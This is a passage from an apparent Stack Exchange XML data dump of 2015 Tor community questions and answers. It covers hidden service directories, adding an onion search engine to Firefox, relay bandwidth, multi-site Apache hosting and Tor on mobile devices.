a temporary file sharing service that can provide a direct http link of your modified XML file. E.g.: &lt;strong&gt;&lt;a href=&quot;https://gist.github.com&quot; rel=&quot;noreferrer&quot;&gt;https://gist.github.com&lt;/a&gt;&lt;/strong&gt; and it's &lt;strong&gt;Raw&lt;/strong&gt;-Link.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Find a 'HTML sandbox' site that provides a template for a browser-readable HTML page (a great one that requires no JS and is on HTTPS is &lt;a href=&quot;https://www.jmarshall.com/easy/html/testbed.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.jmarshall.com/easy/html/testbed.html&lt;/a&gt;), and put in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section this tag: &lt;code&gt;&amp;lt;link rel=&quot;search&quot; type=&quot;application/opensearchdescription+xml&quot; title=&quot;DuckDuckGo Lite Tor&quot; href=&quot;https://direct-link-to-your-modified-xml-file.xml&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Load the html sandbox code, and a blank page will be the result (but code obviously in the source). On that page, the  tag tells Firefox that a custom search engine is to be found on this page! Go to the search bar and use the drop-down arrow on the left, and you'll see 'Add &quot;DuckDuckGo Lite Tor&quot;. Do it and you can now search from the Firefox bar with Tor hidden service anonymity, forever!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;FYI, the info on adding the  tag was found at: &lt;strong&gt;https:// developer.mozilla.org/en-US/Add-ons/Creating_OpenSearch_plugins_for_Firefox&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Interestingly, this method works for adding ANY custom search engine XML to Firefox in general, which I have also been trying to know how to do (without editing tedious XML/json files in the profile folder and having to restart Firefox, yuck) for years and years, and now I know, boo-ya!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, edit the title or version of DDG as you see fit, my guide is merely a template.&lt;/p&gt;&#xA;" OwnerUserId="6673" LastEditorUserId="512" LastEditDate="2016-11-16T19:35:47.870" LastActivityDate="2016-11-16T19:35:47.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6154" PostTypeId="2" ParentId="6150" CreationDate="2015-02-06T09:29:50.250" Score="1" Body="&lt;p&gt;It depends on what you are using Tor for, and who is your adversary. So in some case, Tor is not secure enough, and in other cases it can just do the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, Tor uses asymmetric enryption with 1024-bit RSA keys. Those keys are considered weak nowadays (and perhaps breakable by a global adversary such as the NSA), but they are changed often, and the Tor project keeps using them as to not overload many of the weaker nodes running as Tor relay nodes (so itis Security vs Usability).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other aspects you may or may not interested about in terms of Tor security, but you should probably start (if you haven't already) reading documents and advices like &lt;a href=&quot;https://www.torproject.org/about/overview.html.en#thesolution&quot; rel=&quot;nofollow&quot;&gt;How Tor works&lt;/a&gt; and &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en#warning&quot; rel=&quot;nofollow&quot;&gt;The best security measures while using Tor&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-02-06T09:29:50.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6155" PostTypeId="1" AcceptedAnswerId="6157" CreationDate="2015-02-06T09:40:25.297" Score="7" ViewCount="4134" Body="&lt;p&gt;I'm reading &lt;a href=&quot;http://www.antitree.com/how-tor-does-dns-the-breaking-bad-way/&quot;&gt;here&lt;/a&gt; about Tor's 'DNS' resolving mechanisms (for both clearnet and hidden services) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mechanism for connecting to a hidden service itself (via a rendezvous point in a 7-hop circuit without the need for an exit node), I am clear on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, the step before that is finding out what its 'location' is (or rather, instructions for how to initiate a connection with the hidden service you're looking up), in the first place - Tor's equivalent of DNS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the afore-mentioned link, this line greatly bothered me:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Aaron’s client&lt;/strong&gt; checks the &lt;strong&gt;Hidden Service Directory Server&lt;/strong&gt; to see if the address exist.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After more searching, I found &lt;a href=&quot;http://donncha.is/2013/05/trawling-tor-hidden-services/&quot;&gt;this excellent 2013 research&lt;/a&gt;, which states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A client who would like to retrieve the full HS descriptor will calculate the time based descriptor id &lt;strong&gt;and will request it from the&#xA;  responsible HSDir’s directly&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As for the official Tor HS protocol outline page &lt;strong&gt;(https:// torproject.org/docs/hidden-services.html.en)&lt;/strong&gt;, the info is more vague, stating:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;After [first learning about its onion address], the client can initiate connection establishment &lt;strong&gt;by downloading the descriptor from the distributed hash table&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This gives the impression of a decentralized distribution of descriptor information like Freenet, but maybe it is only distributed between HSDirs and that still says nothing of whether real IPs are linked to descriptor lookups or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what are the facts here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any part of the process in which the original, non-Tor IP address of a Tor user, &lt;strong&gt;directly&lt;/strong&gt; contacts a Tor HSDir (or another node for that matter), for the purpose of a direct request and retrieval of the descriptor of a given .onion address? If not, then which node in the chain does the HSDir see for that request, and is the original client's IP obfuscated to that node which has to know the onion address themselves?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, this would be an &lt;strong&gt;extremely serious breach of anonymity for the &lt;em&gt;entire&lt;/em&gt; Tor network&lt;/strong&gt;. It is one thing to know virtually every .onion site in existence by operating a HSDir (under the current code anyway); it is another to know all the real IP addresses of those who visit them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be ironic if Tor protected the IP addresses of users on clearnet by having DNS requests performed by the same IP as is doing the browsing (i.e. the Tor exit node), but not for hidden services themselves. If so, it would make sense to apply the same 'layered encryption' onion mechanism to descriptor requests also. (So have the exit node, or the same node as will be the rendezvous, make them.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And on a related note, are the request (and response) packets between the client and the HSDir &lt;strong&gt;encrypted&lt;/strong&gt; (similarly to HTTPS or DNSCrypt), or are the requests transported as plaintext directly to the HSDir server and thus readable by the user's ISP, global wiretapping adversaries and all other usual MITM suspects?&lt;/p&gt;&#xA;" OwnerUserId="6652" LastActivityDate="2015-02-06T16:48:20.763" Title="Do Tor hidden service directories (HSDirs) see the REAL IP of users who visit .onion sites?" Tags="|anonymity|onion-services|dns|private|ip-address-leak|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6157" PostTypeId="2" ParentId="6155" CreationDate="2015-02-06T16:48:20.763" Score="7" Body="&lt;p&gt;No, the HS directory is accessed via Tor. See: &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec.txt#n549&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/rend-spec.txt#n549&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nodes running HS directories do form a distributed hash table, though it's not decentralized the same way that Freenet is, since all of the HS directory nodes are listed in the Tor consensus. So the client identifies which HSDir node is responsible for the service it cares about and opens a stream (through a regular Tor circuit it has built) to connect to that directory. Their IP address is kept hidden. &lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-02-06T16:48:20.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6158" PostTypeId="2" ParentId="6115" CreationDate="2015-02-06T17:22:46.777" Score="2" Body="&lt;p&gt;This is a tough one. You don't have enough bandwidth to become a guard, so assuming you're not running an exit node, your node will only be used in the middle position. 500GB / month is about 100KB/s, which is (just) enough for your node to be considered &quot;fast&quot; and so it &lt;em&gt;will&lt;/em&gt; be used in most people's circuits. However, if we look at this graph:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://metrics.torproject.org/torperf.html?graph=torperf&amp;amp;start=2014-11-08&amp;amp;end=2015-02-06&amp;amp;source=all&amp;amp;filesize=5mb&quot; rel=&quot;nofollow&quot;&gt;https://metrics.torproject.org/torperf.html?graph=torperf&amp;amp;start=2014-11-08&amp;amp;end=2015-02-06&amp;amp;source=all&amp;amp;filesize=5mb&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;we see that even the 25th percentile of Tor circuits appears to be getting at least 250KB/s, so there's a good chance that your node will be a bottleneck for anyone who uses it. Running a faster node for part of the month might be more helpful (even half a month might be too much). But I'm not 100% sure how such a node interacts with other mechanisms, such as bandwidth authorities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note, &quot;Stable&quot; as used in the Tor directory means a node that is up for long periods of time (has a high time between failure); a node that stays up for a week or two in a month &lt;em&gt;will&lt;/em&gt; be classified as stable. But it will have a low fractional uptime, so it will never qualify as a guard (with good reason!).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-02-06T17:22:46.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6159" PostTypeId="1" AcceptedAnswerId="6161" CreationDate="2015-02-06T17:42:45.867" Score="3" ViewCount="49" Body="&lt;p&gt;i am looking to do a bit of research on previous Tor consensuses, i am looking to go back years, is there a location that saves every previous consensus ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Rich&lt;/p&gt;&#xA;" OwnerUserId="3075" LastEditorUserId="55" LastEditDate="2015-02-09T00:37:57.460" LastActivityDate="2015-02-09T00:37:57.460" Title="Where do I find previous Tor consensuses, and other metrics data?" Tags="|directory|consensus|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6161" PostTypeId="2" ParentId="6159" CreationDate="2015-02-06T19:40:22.670" Score="4" Body="&lt;p&gt;Check out: &lt;a href=&quot;https://collector.torproject.org/archive/relay-descriptors/consensuses/&quot; rel=&quot;nofollow&quot;&gt;https://collector.torproject.org/archive/relay-descriptors/consensuses/&lt;/a&gt; and the main page (&lt;a href=&quot;https://collector.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://collector.torproject.org/&lt;/a&gt;) for more info.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-02-06T19:40:22.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6162" PostTypeId="2" ParentId="6150" CreationDate="2015-02-07T07:22:37.633" Score="0" Body="&lt;p&gt;There is a difference between anonymity and security, Tor promise to provide anonymity, but does not promise to provide Security, although, it aims to provide security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor does not promise secure communications, but it aims to provide security. Encryption is only used to provide anonymity between nodes, be advised that your data is not encrypted otherwise. This is the reason it is highly recommended to use &quot;https&quot; enabled websites while browsing with Tor. HTTPS will help to make your communication secure. If you use a Tor browser, there is a add-on which attempts to use https version of the sites if possible in an attempt to aim for security. The only exception to that is when you visit hidden services. In this case you will not leave the Tor network, and thus, you are always between the nodes. Since you are always between the nodes and encryption is provided between the nodes when using Tor, your communication is secure. Of course you must provide the information to destination site in decrypted format, so that the site can understand the requested information and answer your request. Thus, the destination site can be a honeypot and snoop on you. Hidden services or clear sites all have a potential to be a honeypot. The other thing is that, these sites maybe compromized without their consent or knowledge, But this phenomenon, still would have same effect as sites that are designed as honeypot as far as user is concerned.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-02-07T08:25:55.157" LastActivityDate="2015-02-07T08:25:55.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6163" PostTypeId="2" ParentId="3403" CreationDate="2015-02-07T07:36:00.313" Score="6" Body="&lt;p&gt;There are known scaling problems with running more than a few dozen hidden services in a single Tor process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the 100% CPU load comes either from constantly generating and signing new hidden service descriptors (since each hidden service tries to maintain three introduction point circuits, and any time any of them change that means publishing a new descriptor), or from internal inefficiencies like linearly walking a list many times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, the short answer is &quot;don't do that&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If somebody is looking for a fun development task, set up a private chutney or shadow Tor network, configure a bunch of hidden services on one of the clients, and then try to sort out where the bottlenecks are in practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also enjoy&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/1337/how-many-hidden-services-can-i-run-on-a-single-tor-instance&quot;&gt;How many hidden services can I run on a single Tor instance?&lt;/a&gt;&#xA;as a related question here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And lastly, see also&#xA;&lt;a href=&quot;https://blog.torproject.org/blog/hidden-services-need-some-love&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/blog/hidden-services-need-some-love&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-02-07T07:36:00.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6164" PostTypeId="2" ParentId="3637" CreationDate="2015-02-07T07:45:35.700" Score="1" Body="&lt;p&gt;&quot;Bridge at '109.105.109.163:47779' isn't reachable by our firewall policy.&quot; means that you have set your &quot;ReachableAddresses&quot; torrc option to tell Tor that it shouldn't even try to reach that address. Thus Tor is opting not to try to reach that bridge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you set ReachableAddresses using Tor Browser, by answering &quot;yes&quot; to the &quot;Are you only able to reach certain ports?&quot; question in earlier versions of Tor Browser? If you tell your Tor that it should only attempt connections on ports 80 and 443, and then you configure it to use a bridge on port 47779, you'll get the above message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since that set of options was indeed confusing users, we changed it, as described here:&#xA;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/11405#comment:7&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/11405#comment:7&lt;/a&gt;&#xA;and that change went out in Tor Browser 4.0:&#xA;&lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-40-released&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/tor-browser-40-released&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your general question, it really depends how exactly your firewall is restrictive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also enjoy the &quot;meek&quot; pluggable transport as an alternative that gets through restrictive firewalls in a different way than Obfsproxy does:&#xA;&lt;a href=&quot;https://blog.torproject.org/blog/how-use-%E2%80%9Cmeek%E2%80%9D-pluggable-transport&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/how-use-%E2%80%9Cmeek%E2%80%9D-pluggable-transport&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-02-07T07:45:35.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6165" PostTypeId="2" ParentId="5997" CreationDate="2015-02-07T07:50:01.490" Score="2" Body="&lt;p&gt;Yes, the exit relay can do any of the behaviors you describe. It can modify the data that comes back from the website (or whatever the destination is), or it can simply pretend to be the destination and send you whatever it wants to. It can also send other Tor cells, like padding cells, if it wants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Applications like Firefox rely on end-to-end encryption (like https) to recognize if data has been tampered by a man in the middle. In this case the exit relay is indeed 'in the middle' between the browser and the webserver. End-to-end encryption is a good idea whether you are using Tor or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other questions listed here as 'related' look like more detailed duplicates of this question, so be sure to check them out too (and maybe even merge this question with one of them).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-02-07T07:50:01.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6166" PostTypeId="2" ParentId="6135" CreationDate="2015-02-07T12:01:34.103" Score="2" Body="&lt;p&gt;I'm not sure that Linostar's answer is correct. Rather, I think that Tor is able to extract the original destination address using the SO_ORIGINAL_DST socket option, as described here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://unix.stackexchange.com/questions/166692/how-does-a-transparent-socks-proxy-know-which-destination-ip-to-use&quot;&gt;How does a transparent SOCKS proxy know which destination IP to use?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6675" LastActivityDate="2015-02-07T12:01:34.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6169" PostTypeId="1" CreationDate="2015-02-08T19:14:48.370" Score="4" ViewCount="1792" Body="&lt;pre&gt;&lt;code&gt;HiddenServiceDir /home/username/hiddenservice19/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;HiddenServiceDir /home/username/hiddenservice18/&#xA;HiddenServicePort 80 127.0.0.1:67&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After restarting Tor it creates those 2 files, I get my onion address and I can see 1 site.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case the hiddenservice19 and it displays my index.html file just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why hiddenservice18 does not work??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My index.html file is in following folder&#xA;/var/www/html/index.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I have to put file hiddenservice2.html so it can be shown at the onion address for hiddenservice18 ??&lt;/p&gt;&#xA;" OwnerUserId="6684" LastEditorDisplayName="user5" LastEditDate="2015-02-08T21:38:53.523" LastActivityDate="2015-02-10T21:55:50.627" Title="I want to host multiple hidden services on my apache" Tags="|onion-services|" AnswerCount="2" CommentCount="4" ClosedDate="2015-08-21T14:40:35.223" ContentLicense="CC BY-SA 3.0" />
  <row Id="6171" PostTypeId="1" CreationDate="2015-02-09T15:58:16.670" Score="4" ViewCount="262" Body="&lt;p&gt;I have tried in the past to use Tor in multi user environments like Citrix but it only worked for one user at a time. Has this changed with later versions? If not does anyone know if it could be looked into?&lt;/p&gt;&#xA;" OwnerUserId="6692" LastEditorUserId="923" LastEditDate="2015-02-10T21:51:46.493" LastActivityDate="2016-01-07T03:29:03.947" Title="Does the current version of Tor work with Citrix/terminal services?" Tags="|configuration|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6172" PostTypeId="2" ParentId="5985" CreationDate="2015-02-10T05:19:32.693" Score="1" Body="&lt;p&gt;The short answer is yes it is possible to track your IP address as Windy has explained. However, There is a procedural enhancement you can apply to remedy this situation. What you need to do is to create an additional barrier to make it difficult to locate you. This is done by going to a public place like a starbuck coffee bar and connect to web site of your choice from there. Try not to choose an establishment you decide to go to, too close to your actual place of residence or temporary residence. If you are in a large metropolitan area, like NewYork city, 20 miles or so from your place of residence or temporary residence suffices, however, if you are in rural area, you may go as far as 100 miles away from your place of residence or temporary residence. If where you are is somewhere in between these cases  as far as concentration of population is concerned, choose some distance in between these numbers. Doing so will create an additional barrier to locate you. Now even if your IP address is discovered, only a public place IP address is discovered, not your actual place of residence or temporary residence. Do remember to change these public places often. The best practice is to use each location only once and never connect to internet again in that particular place. Finally, you should view Tor as a tool among many that you may use to enhance your anonymity with. You should not look at Tor as a panacea to all your anonymity and/or security issues.&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2015-02-10T05:19:32.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6173" PostTypeId="2" ParentId="6169" CreationDate="2015-02-10T07:55:09.497" Score="-1" Body="&lt;p&gt;In your question, you did not provide clear information about how many hidden services you wish to run in a given Tor instance, plus you did not provide any information about your CPU, the OS and the browser you are using, all of the above information have relevence to the answer you get. However, I will provide some general information, but, If you provide the necessary information, the answer may get more customized to your specific situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a practical limit to how many hidden sevices can be run in a single Tor instance. This limit depend on many things. The items below do not mean to be an exhaustive list of all possible causes of the problem, but may point you to the right direction:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Your CPU computation capability is limited. Depending on what type of CPU you use, sooner or later you reach your CPU computation limitation. For example if you have a slow, low power type CPU, you will reach this limitation very soon.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The OS and the browser you are running also could limit your capability sooner or later.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The number of hidden sevices have an effect on number of relays you need to employee to handle the situation. There is a limit to number of relays you may use concurrently.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is also a possibility that you are doing something wrong.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you provide your log and additional information one can diagnose your problem more accurately. &lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-02-10T21:55:50.627" LastActivityDate="2015-02-10T21:55:50.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6175" PostTypeId="2" ParentId="6169" CreationDate="2015-02-10T18:15:22.193" Score="-1" Body="&lt;p&gt;You do not to use two different ports to host 2 different hidden services, which in your case didn't work because your webserver is configured to listen only on port 80. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The better approach is to make your webserver handle the different hidden services. In case your webserver is Apache for instance, you can &lt;a href=&quot;http://httpd.apache.org/docs/2.2/vhosts/examples.html&quot; rel=&quot;nofollow&quot;&gt;configure different virtualhosts&lt;/a&gt;, each with a &lt;code&gt;ServerName&lt;/code&gt; equal to the corresponding onion address and &lt;code&gt;DocumentRoot&lt;/code&gt; corresponding to the public html folder of the hidden site.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-02-10T18:15:22.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6176" PostTypeId="2" ParentId="6171" CreationDate="2015-02-10T20:56:56.023" Score="1" Body="&lt;p&gt;Tor can be used for several users at a time. Run Tor as daemon if you want, then you can proceed to run any network/internet software through Tor socks proxy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;torsocks *software*&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For options about configuring and customizing the torsocks proxy, you can consult the &lt;code&gt;torrc&lt;/code&gt; config file.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-02-10T20:56:56.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6177" PostTypeId="1" CreationDate="2015-02-11T02:18:10.853" Score="3" ViewCount="147" Body="&lt;p&gt;I would like to know if Tor can cooperate with other applications, if the information leaks can be stopped and I can be anonymous. For instance on a messaging application, if someone were to try to get into my traffic and find out my location and see what I was saying, I want Tor to work on that application so that something like that doesn't happen. I want to know if this is possible, and if so, how can I set it up? Please help, thank you! &lt;/p&gt;&#xA;" OwnerUserId="6699" LastEditorDisplayName="user5" LastEditDate="2015-02-12T17:00:25.720" LastActivityDate="2015-03-15T09:32:55.737" Title="Can Tor run on messaging applications on my phone, and how?" Tags="|anonymity|help|guard|traffic-analysis|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6178" PostTypeId="2" ParentId="6177" CreationDate="2015-02-11T06:23:21.193" Score="0" Body="&lt;p&gt;Yes, Tor can be combined with additional applications (like PGP email encryption software), protocols (like SSL/TLS), or networks (like VPN) to further increase your security and protect your anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for using Tor on your mobile device, if it is an Android, you can use &lt;a href=&quot;https://play.google.com/store/apps/details?id=info.guardianproject.browser&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;ORWeb&lt;/a&gt; in conjuction with &lt;a href=&quot;https://play.google.com/store/apps/details?id=org.torproject.android&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;ORBot&lt;/a&gt;. For Apple iOS devices, you can use &lt;a href=&quot;https://itunes.apple.com/us/app/onion-browser/id519296448?mt=8&quot; rel=&quot;nofollow&quot;&gt;Onion Browser&lt;/a&gt;. You can even &lt;a href=&quot;http://www.wikihow.com/Use-TOR-on-an-iPhone&quot; rel=&quot;nofollow&quot;&gt;setup your computer as a Tor proxy and access point&lt;/a&gt;, and let your mobile devices connect to Tor through your computer, without need to install any mobile apps.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastEditorUserId="923" LastEditDate="2015-02-11T06:33:47.467" LastActivityDate="2015-02-11T06:33:47.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6179" PostTypeId="1" AcceptedAnswerId="6180" CreationDate="2015-02-11T09:34:45.357" Score="3" ViewCount="276" Body="&lt;p&gt;Is it feasible and rational to combine the capability of Tails package and Whonix package to improve the anonymity and security of the client? And if so, how one may implement it?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-02-11T16:15:34.117" LastActivityDate="2017-09-19T23:48:51.377" Title="Is it feasible and rational to combine the Tails package and Whonix package to improve the anonymity of the client? And, how to implement it?" Tags="|anonymity|configuration|security|tails|whonix|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6180" PostTypeId="2" ParentId="6179" CreationDate="2015-02-11T10:03:24.153" Score="3" Body="&lt;p&gt;You have first to define what are your anonymity and security needs, and see if either solution can provide it on its own. Both solutions have different goals and different threat models as &lt;a href=&quot;https://security.stackexchange.com/questions/68385/design-differences-of-tails-and-whonix-concerning-virtualization/68387#68387&quot;&gt;summarized by whonix maintainer here&lt;/a&gt;. The main feature in Tails that Whonix lacks is &lt;strong&gt;amnesic capability&lt;/strong&gt;, which is making your device forgets everything that happens and leaving no trace about what you were doing in Tails. That function can be alleviated to a point by using a full disk encryption under Whonix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To this day, no one has implemented or developed a tool that combines both Whonix and Tails.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastEditorUserId="923" LastEditDate="2015-02-13T08:54:21.143" LastActivityDate="2015-02-13T08:54:21.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6181" PostTypeId="1" CreationDate="2015-02-11T12:55:52.700" Score="2" ViewCount="73" Body="&lt;p&gt;I know you can import bookmarks on the PC version, but is there a way to do it on IOS's new App 'Red Browser'? I'm guessing it's probably not a good idea to have bookmarks from other unsecured browsers imported into Tor. Yes/No? &#xA;I'm also assuming that Tor 'Red Browser' for IOS is less secure in every way compared to Tor on a PC correct?&lt;/p&gt;&#xA;" OwnerUserId="6702" LastEditorUserId="923" LastEditDate="2015-02-11T14:27:49.580" LastActivityDate="2015-02-11T14:27:49.580" Title="Can bookmarks be imported on IOS ver?" Tags="|ios|" AnswerCount="0" CommentCount="1" ClosedDate="2015-04-01T10:26:33.663" ContentLicense="CC BY-SA 3.0" />
  <row Id="6182" PostTypeId="2" ParentId="6177" CreationDate="2015-02-11T14:16:59.870" Score="3" Body="&lt;p&gt;Your question is two fold. So : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &quot;get into my traffic and find out my location&quot; For this, you need tor. Install Orbot from &lt;a href=&quot;https://f-droid.org&quot; rel=&quot;nofollow&quot;&gt;f-droid.org&lt;/a&gt; client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)  &quot;see what I was saying&quot; For this, you need something like OTR or any other end-to-end encrypted protocol like axolotl.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.a) Install a chat client with OTR support. Install Chatsecure from f-droid.org client. Get a XMPP/Jabber account and set chatsecure to route traffic via tor. (it's very easy)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.b) Install Textsecure from Playstore and route the app's traffik (or whole device's traffik) via tor using Orbot but this needs root access. Even if you don't use Tor with Textsecure, it is pretty secure already.&lt;/p&gt;&#xA;" OwnerUserId="1552" LastActivityDate="2015-02-11T14:16:59.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6183" PostTypeId="1" CreationDate="2015-02-12T00:22:38.227" Score="5" ViewCount="13230" Body="&lt;p&gt;Which configuration file do I change in Apache to run it through Tor? I know you use: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Listen 127.0.0.1:8080;&#xA;Server_name 127.0.0.1:8080;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think, but I don't have much experience with web hosting, I know how to use Linux, but a little new to this area and I also heard that Apache can leak out info, any one have any documentation I may read or give some help on preventing that?&lt;/p&gt;&#xA;" OwnerUserId="6708" LastEditorUserId="88" LastEditDate="2015-02-12T07:53:33.630" LastActivityDate="2016-01-04T20:45:04.743" Title="How to configure apache for Tor hidden service" Tags="|onion-services|configuration|help|web-hosting|information-leaks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
